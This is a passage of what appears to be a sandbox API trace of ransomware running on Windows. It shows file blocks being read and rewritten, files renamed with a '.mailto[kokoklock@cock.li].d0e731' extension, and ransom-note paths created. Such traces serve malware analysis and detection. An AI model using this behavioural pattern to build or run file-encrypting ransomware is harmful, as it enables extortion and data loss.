0xe2023fa0 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0xf30f0a5 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x7ce380d8 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x67414ca1 [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x9bc488ba [0084.684] RtlRandom (in: Seed=0x2c03faa0 | out: Seed=0x2c03faa0) returned 0x63a62350 [0084.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0084.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0084.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0084.697] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.697] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.698] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fa30 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0084.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491330) returned 1 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491330 [0084.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a88 [0084.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0084.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa30) returned 1 [0084.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.699] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.699] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x38834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.699] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.700] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x38834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491880 [0084.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491880) returned 1 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491880 [0084.700] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a88 [0084.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0084.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0084.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0084.700] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.714] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x6b302, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.714] ReadFile (in: hFile=0x8e0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.714] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x6b302, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34806d8 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a88 [0084.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a88) returned 1 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a88 [0084.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ee8 [0084.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0084.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34806d8) returned 1 [0084.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0084.715] WriteFile (in: hFile=0x8e0, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c03fa54, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c03fa54*=0x4096, lpOverlapped=0x0) returned 1 [0084.715] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0084.715] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491330*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c03fab0, lpOverlapped=0x0 | out: lpBuffer=0x3491330*, lpNumberOfBytesWritten=0x2c03fab0*=0x20, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491880*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c03fab0, lpOverlapped=0x0 | out: lpBuffer=0x3491880*, lpNumberOfBytesWritten=0x2c03fab0*=0x20, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491a88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c03fab0, lpOverlapped=0x0 | out: lpBuffer=0x3491a88*, lpNumberOfBytesWritten=0x2c03fab0*=0x20, lpOverlapped=0x0) returned 1 [0084.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x3491858*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x3491858*, lpNumberOfBytesWritten=0x2c03fab8*=0x8, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x2c03fad0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x2c03fad0*, lpNumberOfBytesWritten=0x2c03fab8*=0x4, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c03fab8*=0x4, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c03fab8*=0x6c, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x34914e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x34914e8*, lpNumberOfBytesWritten=0x2c03fab8*=0x20, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c03fab8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c03fab8*=0x4, lpOverlapped=0x0) returned 1 [0084.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0084.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0084.716] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0084.717] CloseHandle (hObject=0x8e0) returned 1 [0084.717] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x3479e38 [0084.717] wcscpy (in: _Dest=0x3479e38, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0084.717] wcscat (in: _Dest=0x3479e38, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" [0084.717] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.717] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0084.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", dwFileAttributes=0x20) returned 0 [0084.718] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430980 [0084.718] wcscpy (in: _Dest=0x3430980, _Source="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0084.718] wcscat (in: _Dest=0x3430980, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt" [0084.718] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\d0e731-readme.txt")) returned 0x20 [0084.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430980) returned 1 [0084.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430a40) returned 1 [0084.718] RtlExitUserThread (Status=0x1) Thread: id = 1256 os_tid = 0x1334 Thread: id = 1257 os_tid = 0x1338 [0085.123] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.126] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.127] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c13fbc0 | out: lpFileSize=0x2c13fbc0*=7086) returned 1 [0085.127] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1baa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.127] ReadFile (in: hFile=0x2f4, lpBuffer=0x2c13fb94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x2c13fb94*, lpNumberOfBytesRead=0x2c13fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.128] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491858 [0085.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ee8 [0085.128] NtQuerySystemTime (in: CurrentTime=0x2c13fb6c | out: CurrentTime=0x2c13fb6c*=132121176430235037) returned 0x0 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x98f3b284 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xe03f1398 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x1f8f00d5 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x55c36509 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xc12007d7 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x2f79a8f [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x421e7cbf [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xa95be05b [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x82a8f504 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x6617fef5 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xf657a4cf [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x68015183 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x871f4f3 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xc69a7995 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xbb4b7ad5 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xb097849e [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xe7d56519 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x533bf7eb [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x3bb1c53e [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x1c342a5 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x96e10a13 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xc50296dc [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xc58bd44f [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xa8af9318 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x5ff65b47 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x5b1c6c21 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x27d66991 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xf6c254f [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xed595023 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0xdba2cc99 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x2523a537 [0085.129] RtlRandom (in: Seed=0x2c13fb78 | out: Seed=0x2c13fb78) returned 0x5ad81d2a [0085.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0085.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd238 [0085.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492820 [0085.140] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.140] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.140] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1bae, lpNumberOfBytesRead=0x2c13fb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c13fb6c*=0x1bae, lpOverlapped=0x0) returned 1 [0085.141] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c13fb34 | out: lpNewFilePointer=0x0) returned 1 [0085.141] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x1bae, lpNumberOfBytesWritten=0x2c13fb68, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c13fb68*=0x1bae, lpOverlapped=0x0) returned 1 [0085.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492820 [0085.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492820*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c13fb64, lpOverlapped=0x0 | out: lpBuffer=0x3492820*, lpNumberOfBytesWritten=0x2c13fb64*=0x20, lpOverlapped=0x0) returned 1 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x3492730*, lpNumberOfBytesWritten=0x2c13fb90*=0x8, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x2c13fba8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x2c13fba8*, lpNumberOfBytesWritten=0x2c13fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c13fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c13fb90*=0x6c, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x3491858*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x3491858*, lpNumberOfBytesWritten=0x2c13fb90*=0x20, lpOverlapped=0x0) returned 1 [0085.142] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c13fb90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c13fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0085.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0085.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.143] CloseHandle (hObject=0x2f4) returned 1 [0085.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x33f9688 [0085.143] wcscpy (in: _Dest=0x33f9688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.143] wcscat (in: _Dest=0x33f9688, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.143] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.144] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9688) returned 1 [0085.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.144] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.144] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\" [0085.144] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.144] GetFileAttributesW (lpFileName="C:\\Users\\All 